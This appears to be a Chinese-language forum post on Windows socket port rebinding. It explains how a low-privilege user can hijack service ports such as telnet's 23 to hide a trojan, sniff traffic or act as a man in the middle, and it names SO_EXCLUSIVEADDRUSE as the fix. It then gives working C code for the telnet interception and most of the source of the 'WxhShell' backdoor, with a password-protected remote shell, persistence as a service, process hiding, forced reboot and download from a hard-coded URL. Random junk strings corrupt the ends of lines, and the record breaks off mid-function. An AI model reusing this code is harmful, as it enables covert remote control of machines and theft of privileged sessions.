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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d!a2[2Us  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #d7)$ub  
zIX}[l4EW~  
  saddr.sin_family = AF_INET; 8' WLm  
^hGZVGSv  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); LNsE7t  
D/ NIn=>j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ur,V>J<5A  
gK]T}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'Q^G6'(SaK  
\oD=X}UQw(  
  这意味着什么?意味着可以进行如下的攻击: [qc6Q:  
z{<q0.^EFh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Lx4H/[$6D  
l,~ N~?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o =jX  
5VY%o8xXa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -NI@xJO4(;  
&**.naSo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i&AXPq>`  
exa}dh/uC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j[Hg]  
DVeF(Y3&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @Reh?]# v  
P^o"PKA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -v/?>  
AmrJ_YP/t~  
  #include |\{J` 5gr  
  #include {/,+_E/  
  #include wE.@0  
  #include    b W`)CWd  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `s|\" @2  
  int main() k -t,y|N  
  { f(zuRM^5  
  WORD wVersionRequested; >ZOZv  
  DWORD ret; ;9- 4J  
  WSADATA wsaData; 's%ct}y\J  
  BOOL val; f/|a?n2\hm  
  SOCKADDR_IN saddr; }T^v7 LY  
  SOCKADDR_IN scaddr; h;mQ%9 Yd  
  int err; rkER`  
  SOCKET s; jw6ng>9  
  SOCKET sc; j2C^1:s@m  
  int caddsize; ^{:[^$f:l  
  HANDLE mt; s^x , S  
  DWORD tid;   *jqPKK/  
  wVersionRequested = MAKEWORD( 2, 2 ); '!2  
  err = WSAStartup( wVersionRequested, &wsaData ); \)s 3]/"7  
  if ( err != 0 ) { r]K0 ]h@B  
  printf("error!WSAStartup failed!\n"); 0v,`P4_k  
  return -1; YH:W]  
  } r>D[5B  
  saddr.sin_family = AF_INET; ]mDsUZf<  
   #|2g{7 g*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qoyGs}/I8  
g^|_X1{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SJY"]7  
  saddr.sin_port = htons(23); T<_1|eH  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e^ K=8IW  
  { +k"8e?/e.  
  printf("error!socket failed!\n"); _{@}Fd?o  
  return -1; 1OJD\wc  
  } ok W)s*7  
  val = TRUE; ~wQ WWRk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }j5@\c48  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I(r5\A=   
  { ~(L<uFU V  
  printf("error!setsockopt failed!\n"); F b`7 aFIf  
  return -1; aWi]t'_  
  } IBsO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j$/uJ`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X/C54%T ~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1pBsr(  
3  %{'Uh,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %nK 15(  
  { x[,wJzp\6  
  ret=GetLastError(); H'(o}cn7~  
  printf("error!bind failed!\n"); 41_sSqq;^  
  return -1; - G2M;]Cn  
  } MLDg).5  
  listen(s,2); nCmrt*&}  
  while(1) d~oWu [F*  
  { Ns] 9-D  
  caddsize = sizeof(scaddr); b J5z??  
  //接受连接请求 FWx*&y~$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MjeI?k}LJ  
  if(sc!=INVALID_SOCKET) 0 GLB3I >  
  { b`%e{99\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Xf/<.5A  
  if(mt==NULL) 7|?@\ZE  
  { [,V92-s;N  
  printf("Thread Creat Failed!\n"); $/sZYsN~T  
  break; Q\th8/ /  
  } 'm.XmVZL%  
  } ? Gu_UW  
  CloseHandle(mt); _ O71r}4  
  } 2ZFK jj  
  closesocket(s); o\Vt $  
  WSACleanup(); p[+me o  
  return 0; LFry?HO,D  
  }   "I 1M$^8n  
  DWORD WINAPI ClientThread(LPVOID lpParam) d}G."wnG9,  
  { 6je%LHhL  
  SOCKET ss = (SOCKET)lpParam; s)ajy^6'M  
  SOCKET sc; 1$!K2=%OXj  
  unsigned char buf[4096]; @9Pn(fd]  
  SOCKADDR_IN saddr; L,ey3i7a\  
  long num; 61;5Yo  
  DWORD val; Wn</",Gf  
  DWORD ret; 0BZOr-i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #~qp8 w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U@ QU8  
  saddr.sin_family = AF_INET; 4BL,/(W] x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wOl-iN=  
  saddr.sin_port = htons(23); SYhspB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +as\>"Cj+2  
  { f v7g93  
  printf("error!socket failed!\n"); ml \yc'  
  return -1; PX{~!j%n  
  } 7)X&fV6<8  
  val = 100; Q`fA)6U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Bc ,z]  
  { dD2e"OIX  
  ret = GetLastError(); dK`O,[}  
  return -1; ?26[%%  
  } K>~cY%3^i  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,#FH8%Yf  
  { tQ<2K*3]  
  ret = GetLastError(); Ji?UG@  
  return -1; H[yLl v  
  } Sgk{NM7|k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %R5MAs&-5  
  { CU M~*  
  printf("error!socket connect failed!\n"); DY27'`n6  
  closesocket(sc); .VV!$; FB  
  closesocket(ss); -5B([jHgR  
  return -1; 43]&SXprH  
  } oU6g5  
  while(1) K&oO+G^f  
  { K%@SS8!oy  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f3&//h8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .-*nD8b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^]K)V  
  num = recv(ss,buf,4096,0); zL{@LHP  
  if(num>0) @"5u~o')@v  
  send(sc,buf,num,0); <qiap2  
  else if(num==0) O!yn `< l  
  break; ^^(ZK 6d  
  num = recv(sc,buf,4096,0); _!Q\Xn  
  if(num>0) -$p-o Z)  
  send(ss,buf,num,0); a{6|[a R  
  else if(num==0) 4v JIO{m  
  break; +Uk.|@b=-V  
  } U7'oI;C$e  
  closesocket(ss); RH0a\RC!G  
  closesocket(sc); 0]W/88ut*u  
  return 0 ; OH~qJ <  
  } '0?E|B]Cp%  
aB_z4dqwU  
O&%T_Zk@@  
========================================================== ~hX'FV  
j> M%?Tw  
下边附上一个代码,,WXhSHELL FkkB#Jk4  
0`=?ig_  
========================================================== $dUN+9  
$5 [RR  
#include "stdafx.h" 6lFsN2  
6g&nnA  
#include <stdio.h> \Ki#"%S  
#include <string.h> [K QZHIe  
#include <windows.h> T!E LH!  
#include <winsock2.h> (]dZ+"O{  
#include <winsvc.h> <H#K`|Ag  
#include <urlmon.h> j3F=P  
k}gs;|_  
#pragma comment (lib, "Ws2_32.lib") E':Z_ ^4  
#pragma comment (lib, "urlmon.lib") XcneH jpR  
$*ZHk0 7x  
#define MAX_USER   100 // 最大客户端连接数 Re>e|$.T  
#define BUF_SOCK   200 // sock buffer 1(a\$Di  
#define KEY_BUFF   255 // 输入 buffer u' ][3  
2J <Z4Ap  
#define REBOOT     0   // 重启 14zzWzKx  
#define SHUTDOWN   1   // 关机 ShxX[k  
IA!Kp g W  
#define DEF_PORT   5000 // 监听端口 EeJ] > 1  
lvffQ_t  
#define REG_LEN     16   // 注册表键长度 k$/].P*!  
#define SVC_LEN     80   // NT服务名长度 <GEn9;\  
BW[K/l~"$:  
// 从dll定义API jz0\F,s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &Gl&m@-j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _FgeE`X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^)I:82"|?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d_hcv|%  
p^!p7B`qe.  
// wxhshell配置信息 fba3aId[  
struct WSCFG { *4E,| IJ  
  int ws_port;         // 监听端口 vA`.8U 0S  
  char ws_passstr[REG_LEN]; // 口令 "f+2_8%s+  
  int ws_autoins;       // 安装标记, 1=yes 0=no \x}UjHYIc&  
  char ws_regname[REG_LEN]; // 注册表键名 GC2<K  
  char ws_svcname[REG_LEN]; // 服务名 :gC2zv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &n wg$z{Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m+ YgfR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]y e &#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v8[1E>&vx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $%'z/'o!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r G6/h'!|  
^DOcw@Z6HC  
}; FW,D\51pTP  
Y#,MFEd  
// default Wxhshell configuration ,vj^AXU  
struct WSCFG wscfg={DEF_PORT, /zKuVaC  
    "xuhuanlingzhe", ){~.jP=-#  
    1, 1g+<`1=KT  
    "Wxhshell", V}?5=f'  
    "Wxhshell", m~A/.t%=  
            "WxhShell Service", t=#)3C`Q}  
    "Wrsky Windows CmdShell Service", n66 _#X  
    "Please Input Your Password: ", =G :H)i  
  1, T~Cd=s(T"  
  "http://www.wrsky.com/wxhshell.exe", ' r/1+.  
  "Wxhshell.exe" WDq3K/7\  
    }; -M}iDBJx>#  
e ^QOn  
// 消息定义模块 25r=Xv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TPuzL(ws  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R >TtAm0N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @UX`9]-P  
char *msg_ws_ext="\n\rExit."; QNY{ p k  
char *msg_ws_end="\n\rQuit."; )g9qkQ8q  
char *msg_ws_boot="\n\rReboot..."; Yaqim<j  
char *msg_ws_poff="\n\rShutdown..."; (XQG"G%U6W  
char *msg_ws_down="\n\rSave to "; o\N}?Z,Kk  
'(}BfDP  
char *msg_ws_err="\n\rErr!"; VTU-'q  
char *msg_ws_ok="\n\rOK!"; Rx.0P6s  
\kx9V|A'  
char ExeFile[MAX_PATH]; =v8q  
int nUser = 0; t!tBN  
HANDLE handles[MAX_USER]; ;uy/Vc5,Y  
int OsIsNt; -|5&3HVz  
J$o J  
SERVICE_STATUS       serviceStatus; ge|}'QKow  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4kiu*T  
eJ'ojc3  
// 函数声明 jiat5  
int Install(void); d {4br  
int Uninstall(void); =z+zg^wsT  
int DownloadFile(char *sURL, SOCKET wsh); OB%y'mo7]  
int Boot(int flag); fi1UUJ0 U;  
void HideProc(void); -c tZ9+LL  
int GetOsVer(void); be_t;p`3  
int Wxhshell(SOCKET wsl); 6*E 7}  
void TalkWithClient(void *cs); s$;v )w$  
int CmdShell(SOCKET sock); _F9 c.BH  
int StartFromService(void); ;%}  
int StartWxhshell(LPSTR lpCmdLine); J{Jxb1:c  
q!n|Ju<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4{V=X3,x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <Ip}uy[Y  
j,Y=GjfGM  
// 数据结构和表定义 W$W7U|Z9y+  
SERVICE_TABLE_ENTRY DispatchTable[] = tF 4"28"h  
{ )u$A!+fo  
{wscfg.ws_svcname, NTServiceMain}, N.]8qzW  
{NULL, NULL} =B\ ?(  
}; ZHT.+X:_  
xAI<<[-  
// 自我安装 <}evOw2  
int Install(void) pVr,WTr6E  
{ fqi5 84  
  char svExeFile[MAX_PATH]; :Vg,[\I{  
  HKEY key; *m2:iChY  
  strcpy(svExeFile,ExeFile); I?=Q *og  
@S{,g;8  
// 如果是win9x系统,修改注册表设为自启动 }.#C9<"}  
if(!OsIsNt) { rfk';ph  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QL3%L8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #/aWG  x_  
  RegCloseKey(key); j JW0a\0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x|Dj   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); : v]< h  
  RegCloseKey(key); 6i%)'dl  
  return 0; _$\T;m>'A  
    } Ky+TgR  
  } D_@^XS  
} b |EZ;,i  
else { )vw3Y88  
~o+u:]  
// 如果是NT以上系统,安装为系统服务 j=7]"%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `'~|DG}a  
if (schSCManager!=0) /)|*Vzu  
{ GB0] |z5  
  SC_HANDLE schService = CreateService [mhY_Hmz]  
  ( -C\m' T,1  
  schSCManager, `O#y%*E  
  wscfg.ws_svcname, | .PLfc;  
  wscfg.ws_svcdisp, qYE-z( i  
  SERVICE_ALL_ACCESS, (+_Amw!W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2a{eJ89f  
  SERVICE_AUTO_START, >q`G?9d2  
  SERVICE_ERROR_NORMAL, %P?W^mI  
  svExeFile, RtSk;U1  
  NULL, rHMsA|xz6  
  NULL, t{$t3>p-t  
  NULL,  hHdC/mR  
  NULL, TO QvZ?_  
  NULL SQ@@79A  
  ); ]LD@I;(_  
  if (schService!=0) RAe:$Iv$!v  
  { PS>k67sI  
  CloseServiceHandle(schService); X{)M}WO+r  
  CloseServiceHandle(schSCManager); 2D "mq~ V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^uYxeQY[  
  strcat(svExeFile,wscfg.ws_svcname); ~q<U E\H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TygR G+G-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #CM2FN:W  
  RegCloseKey(key); h5F1mr1Sa  
  return 0; `A #r6+  
    } D.RHvo~6  
  } e%8K A#DX  
  CloseServiceHandle(schSCManager); 2lQ'rnqS)  
} rK];2[U  
} u+hzCCwtR  
T\OLysc  
return 1; z*:^*,  
} u ; I5n  
,#<"VU2bC  
// 自我卸载 sC/T)q2  
int Uninstall(void) F$)Ki(m q  
{ t.NG ]ejZ  
  HKEY key; J|s4c`=  
#bnFR  
if(!OsIsNt) { /QTGZ b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~dC^|  
  RegDeleteValue(key,wscfg.ws_regname); )5B90[M|t  
  RegCloseKey(key); ) ~X\W\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pmfyvkLS  
  RegDeleteValue(key,wscfg.ws_regname); C0'Tua'  
  RegCloseKey(key); GMFp,Df  
  return 0; ++xEMP)  
  } KVJiCdg-  
} DI+kO(S  
} -B R&b2  
else { Ucv-}oa-?  
`6UW?1_Z5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NX$$4<A1  
if (schSCManager!=0) uRJLSt9m  
{ f ^z7K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (ZDRjBth[  
  if (schService!=0) xZBmQ:s',S  
  { PZQ}G*p3  
  if(DeleteService(schService)!=0) { Krz[ f  
  CloseServiceHandle(schService); lv,<[Hw1  
  CloseServiceHandle(schSCManager); < jfi"SJu  
  return 0; 2U i)'0  
  } {4UlJ,Z.n  
  CloseServiceHandle(schService); x2;92I{5C,  
  } RoP z?,u  
  CloseServiceHandle(schSCManager); BH\qm (X  
} aiea& aJ  
} zf#V89!]C"  
j&ddpS(s  
return 1; C)Mh  
} G.1pg]P!  
M++*AZ  
// 从指定url下载文件 A-uEZj_RD=  
int DownloadFile(char *sURL, SOCKET wsh) r'-)@|  
{ LDO@$jg  
  HRESULT hr; s>^*GQw  
char seps[]= "/"; 3. fIp5g  
char *token; om|M=/^  
char *file; yjc:+Y{5'  
char myURL[MAX_PATH]; !\^c9Pg|v  
char myFILE[MAX_PATH]; e%#9|/uP  
Bm1yBKjO  
strcpy(myURL,sURL); 3Cq17A 9  
  token=strtok(myURL,seps); (',G Ako  
  while(token!=NULL) ;DBO  
  { {}[S,L  
    file=token; .F &\xa{  
  token=strtok(NULL,seps); gQh;4v  
  } [[ H XOPaV  
)9==6p  
GetCurrentDirectory(MAX_PATH,myFILE); DtR-NzjB  
strcat(myFILE, "\\"); pJ1GB  
strcat(myFILE, file); uG~%/7Qt{  
  send(wsh,myFILE,strlen(myFILE),0); L3'o2@$  
send(wsh,"...",3,0); 5Y JLR;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Lr_+) l  
  if(hr==S_OK) @zW'!Ol  
return 0; d2Bn`VI  
else 1P@&xcvS\  
return 1; J8~3LE )G  
O]90 F  
} USfOc  
Z'hW;^e%_z  
// 系统电源模块 BB>3Kj:|  
int Boot(int flag) e=QnGT*b5  
{ /\(0@To  
  HANDLE hToken; mq do@  
  TOKEN_PRIVILEGES tkp; tNoo3&  
/EA4-#uw  
  if(OsIsNt) { =&< s*-l[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  Hi|'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %BC*h}KGH  
    tkp.PrivilegeCount = 1; GjfY   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?&j[Rj0pH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #Q"el3P+q  
if(flag==REBOOT) { bw ' yX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xLPyV&j-  
  return 0; k5P&F  
} 48Z{wV,  
else { kb Odg:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <$K%u?  
  return 0; zH.DyD5T;  
} SzMh}xDh2  
  } H@.j@l  
  else { A !x" *  
if(flag==REBOOT) { ym{?vY h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .YKQ6  
  return 0; m&EwX ^1-  
} s-J>(|  
else { -H#{[M8xX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D/"[/!  
  return 0; Zm4IN3FGLv  
} Ul)2A  
} 8yF15['  
Q+[gGe JUF  
return 1; z+C>P4c-y&  
} HJ:s)As  
>| rID  
// win9x进程隐藏模块 _A;jtS)SY  
void HideProc(void) l%oie1g l  
{ ]Jq1b210  
y9?BvPp+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); { %vX/Ek  
  if ( hKernel != NULL ) /xWkP{  
  { jxm.x[1ki^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (>%Ddj6_>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pJ;J>7Gt  
    FreeLibrary(hKernel); TwqyQ49  
  } |)B&-~a+p  
&gw. &/t  
return; z;xp1t @  
} `_N8A A  
;^^u_SuH  
// 获取操作系统版本 u`xmF/jhQ  
int GetOsVer(void) 7  g8SK  
{ ICN>8|O`&  
  OSVERSIONINFO winfo; ?54=TA|5`F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s*>s;S?{|  
  GetVersionEx(&winfo); *!ZU" q}i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k3da*vwE  
  return 1; \SHYwD}*Pr  
  else A|,\}9)4X[  
  return 0; ce0TQ  
} nw+L _b  
$6L gaz  
// 客户端句柄模块 &.y:QVR,!  
int Wxhshell(SOCKET wsl) b'pbf  
{ RFU(wek  
  SOCKET wsh; YR@@:n'TP  
  struct sockaddr_in client; 1Thr74M  
  DWORD myID; ;EP7q[  
%M2.h;9]*\  
  while(nUser<MAX_USER) 2l}FOdq  
{ v7&e,:r2E@  
  int nSize=sizeof(client); |"8Az0[!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $W<H[k&(B  
  if(wsh==INVALID_SOCKET) return 1; j7K9T  
7[rn ,8@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UeIu -[R  
if(handles[nUser]==0) >0k7#q}O  
  closesocket(wsh); 7hZCh,O  
else 2Vxr  
  nUser++; @NWjYHM[`  
  } 2`Ub;Nn29  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4_Tx FulX.  
MUh )  
  return 0; :DXkAb2  
} +AhR7R!  
]tA39JK-i  
// 关闭 socket 1mm/Ssw:C  
void CloseIt(SOCKET wsh) OmQSNU.our  
{ UO47XAO  
closesocket(wsh); TG8QT\0G  
nUser--; UTGR{>=>  
ExitThread(0); OkGg4X|9  
} #O6SEK|Z  
@>,3l;\Zh  
// 客户端请求句柄 {a.{x+!5I-  
void TalkWithClient(void *cs) d8`^;T ;}d  
{ [cwc}f^  
Oh9wBV  
  SOCKET wsh=(SOCKET)cs; V@&zn8?  
  char pwd[SVC_LEN]; `<i|K*u  
  char cmd[KEY_BUFF]; 6Xb\a^ q  
char chr[1]; z'=*pIY5f  
int i,j; :WIbjI=  
!MS z%QcO  
  while (nUser < MAX_USER) { =unMgX]$  
oUIa/}}w5  
if(wscfg.ws_passstr) { <mjH#aSy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gQ3Co./  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )tl=tH/$  
  //ZeroMemory(pwd,KEY_BUFF); */sVuD^b`  
      i=0; 3Bee6N>  
  while(i<SVC_LEN) { &F1h3q)L  
8W)3rD>  
  // 设置超时 }0 0mJ]H(  
  fd_set FdRead; 7Te`#"  
  struct timeval TimeOut; C(Ujx=G+3  
  FD_ZERO(&FdRead); "(PJh\S>S  
  FD_SET(wsh,&FdRead); s\_-` [B0  
  TimeOut.tv_sec=8; \Si@t{`O  
  TimeOut.tv_usec=0; 58,_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g6o-/A!Q3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *M\Qt_[  
U>7"BpC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hSSF]  
  pwd=chr[0]; mVfg+d(  
  if(chr[0]==0xd || chr[0]==0xa) { ]|18tVXc  
  pwd=0; zDeh#  
  break; x tg3~/H  
  } >gM|:FG  
  i++; V|zzj[c  
    } ;ZPAnd:pb  
.%_scNP  
  // 如果是非法用户,关闭 socket $%ZEP> ]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X&nkc/erx  
} 5|f[evQj<S  
7r 07N'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?6+GE_VZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6[,*2a8  
X[_w#Hwp-  
while(1) { *q_ .y\D  
FKY|xG9  
  ZeroMemory(cmd,KEY_BUFF); Yxz(g]  
p)vyZY[  
      // 自动支持客户端 telnet标准   EQ1wyKZS2g  
  j=0; GQhzQM1HS  
  while(j<KEY_BUFF) { :A $%5;-kO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |C?<!6.QmV  
  cmd[j]=chr[0]; <use+C2  
  if(chr[0]==0xa || chr[0]==0xd) { ke_Dd?  
  cmd[j]=0; ZGK*]o =)  
  break; L3lf28W  
  } G 5w:  
  j++; _;3xG0+  
    } "]>JtK  
9Xo'U;J  
  // 下载文件 g#ubxC7t<  
  if(strstr(cmd,"http://")) { s`GwRH<#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *2N$l>ql:k  
  if(DownloadFile(cmd,wsh)) \gaGTc2&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ug*:o d  
  else Os' 7h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u:tLO3VfJ  
  } b<};"H0a  
  else { w]X~I/6g  
T V\21  
    switch(cmd[0]) { ?VS(W  
  c7X5sMM,  
  // 帮助 b/cc\d<  
  case '?': { T5?@'b8F6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qFp }+s  
    break; (|L0s)  
  } fC+<n{"C  
  // 安装 m-S4"!bl  
  case 'i': { eE5U|y)_  
    if(Install()) }eb}oK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VeeQmR?u-  
    else Tu95qL~^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \72(d  
    break; fvK):eCo  
    } ?RJ ) u  
  // 卸载 pt<!b0G  
  case 'r': { &Q 7Q1`S  
    if(Uninstall()) +pp|Qgr 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RhIRCN9  
    else zC #[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^55#!/9  
    break; }/q]:3M|  
    } ~c~N _b  
  // 显示 wxhshell 所在路径 *>,8+S33r{  
  case 'p': { .)~IoIW=  
    char svExeFile[MAX_PATH]; URS6 LM  
    strcpy(svExeFile,"\n\r"); I!3qb-.Q  
      strcat(svExeFile,ExeFile); iV;X``S  
        send(wsh,svExeFile,strlen(svExeFile),0); !4TMgM  
    break; mu`h6?v  
    } C"no>A^  
  // 重启 udVEO n$  
  case 'b': { |n3fAN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tQE=c 7/M  
    if(Boot(REBOOT)) 6=A   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1eQa54n  
    else { C1_':-4  
    closesocket(wsh); 1uBnU2E  
    ExitThread(0); hvCX,^LoJ  
    } hbdq'2!Qr  
    break; 89ivyv;]U  
    } dlkxA^  
  // 关机 },G6IuH%  
  case 'd': { ]`39E"zY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _1_CYrUc  
